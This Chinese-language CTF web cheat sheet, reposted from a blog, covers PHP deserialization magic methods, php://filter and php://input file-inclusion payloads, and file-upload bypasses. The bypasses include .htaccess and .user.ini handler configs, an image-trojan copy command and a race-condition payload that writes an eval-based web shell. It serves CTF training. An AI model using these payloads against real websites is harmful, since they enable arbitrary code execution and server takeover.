0


CTF - Web 干货

1、php反序列化之pop链构造

常见魔术方法的触发

__construct()   //创建类对象时调用 ​ 

__destruct()   //对象被销毁时触发 ​ 

__call()   //在对象中调用不可访问的方法时触发 ​ 

__callStatic()   //在静态方式中调用不可访问的方法时触发 ​ 

__get()   //调用类中不存在变量时触发(找有连续箭头的 this->a->b) ​ 

__set()   //给一个未定义的属性赋值时触发 ​ 

__isset()   //在不可访问的属性上调用isset()或empty()触发 ​ 

__unset()   //在不可访问的属性上使用unset()时触发 ​ 

__sleep()   //使用serialize()时触发 ​ 

__wakeup()   //执行unserialize()时触发 ​ 

__toString()   //当对象被当做字符串时自动调用(找echo $this->a这种、strtolower()等) ​ 
__invoke()   //对象被当做函数进行调用时触发(找有括号的类似$a()这种) ​ 

__set_state()     //使用var_export()时触发 ​ 

__clone()   //对象复制完成时调用 ​ 

__autoload()   //实例化一个未定义的类时触发 ​ 

__debugInfo()   //使用var_dump时触发

典型例题:[NISACTF 2022]babyserialize

NSSCTF 靶场地址:NSSCTF | 在线CTF平台

详细解题过程参考我之前的博客:https://myon6.blog.csdn.net/article/details/131565599?spm=1001.2014.3001.5502

2、常见php伪协议的使用

文件包含:

常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

文件包含函数:

1、include ​ 
2、require ​ 
3、include_once ​ 
4、require_once ​ 
5、highlight_file ​ 
6、show_source ​ 
7、flie ​ 
8、readfile ​ 
9、file_get_contents ​ 
10、file_put_contents ​ 
11、fopen

存在文件包含时就应该想到 php 伪协议的利用

常用的 php 伪协议:

(1)php://filter

用于读取源码

可以获取指定文件源码,当它与包含函数结合时,php://filter 流会被当作 php 文件执行,所以我们一般对其进行编码,让其不执行,从而导致任意文件读取。

convert.iconv.* 的用法:

convert.iconv.<input-encoding>.<output-encoding> 

或者 

convert.iconv.<input-encoding>/<output-encoding>

<input-encoding> 和 <output-encoding> 就是编码方式,有:

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*

常用 payload :

最常见的编码方式:
?file=php://filter/read=convert.base64-encode/resource=flag.php

替换编码方式绕过的例子:
?file=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php
?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php 

(2)php://input

用于执行 PHP 代码

可以访问请求的原始数据的只读流,将post请求的数据当作 php 代码执行,当传入的参数作为文件名打开时,可以将参数设为php://input,同时 post 写入想要执行的 php 代码,php 执行时会将 post 内容当作文件内容,从而导致任意代码执行。

例如:
http://127.0.0.1/cmd.php?cmd=php://input
POST数据:<?php phpinfo()?>

典型例题:攻防世界的 fileclude 和 file_include

攻防世界靶场地址:https://adworld.xctf.org.cn/

详细解题过程可以参考我之前的博客:

https://myon6.blog.csdn.net/article/details/130188333

https://myon6.blog.csdn.net/article/details/130176864

3、文件上传常规操作

(1) 前端绕过

使用 BurpSuite 抓包改后缀即可

(2) 修改文件类型

将 Content-Type 改为 image/jpeg

(3) 配合.user.ini 或.htaccess解析

这两个配置文件都可以使我们上传的图像类文件被当作php文件解析

关于这两个文件的基本内容:

.htaccess

<FilesMatch ".jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

.user.ini

auto_prepend_file=my.jpg

等号后面的 my.jpg 就是你要上传的 jpg 类型的一句话木马的文件名

(4) 爆破可解析后缀

使用burpsuite爆破可能被解析的后缀

比如:

php2、php3、php4、php5、phps、pht、phtm、phtml、phpt、shtml 、pwml等等

(也可以结合大小写绕过)

(5) 针对Windows系统特性的绕过

空格绕过、点绕过、::$DATA绕过

原理:Windows系统对于文件的重命名会自动把空格、点、::$DATA 去掉

因此我们可以在文件后缀添加空格、点、::$DATA 进行绕过(是在 burpsuite 抓包后修改)

(6) 文件包含结合图片马

文件包含漏洞:是指未对文件进行严格过滤,在代码中引入其他文件作为php文件执行。

图片马生成可以使用copy命令

copy 1.jpg/b + shell.php 2.jpg

生成的2.jpg就是一个图片马

(7) 条件竞争

条件竞争原理:当我们成功上传了php文件,服务端会在短时间内将其删除,我们需要抢在它删除之前访问文件并生成一句话木马文件,所以访问包的线程需要大于上传包的线程。

上传的大致内容为:

<?php fputs(fopen("shell.php", "w"), '<?php @eval($_POST["shell"]); ?>'); ?>

需要结合 burpsuite 设置上传包和访问包的线程数

详细解释参考我之前的博客:https://myon6.blog.csdn.net/article/details/133562672

标签: 前端 网络安全 web

本文转载自: https://blog.csdn.net/Myon5/article/details/135660293
版权归原作者 Myon⁶ 所有, 如有侵权,请联系我们删除。

“CTF - Web 干货”的评论:

还没有评论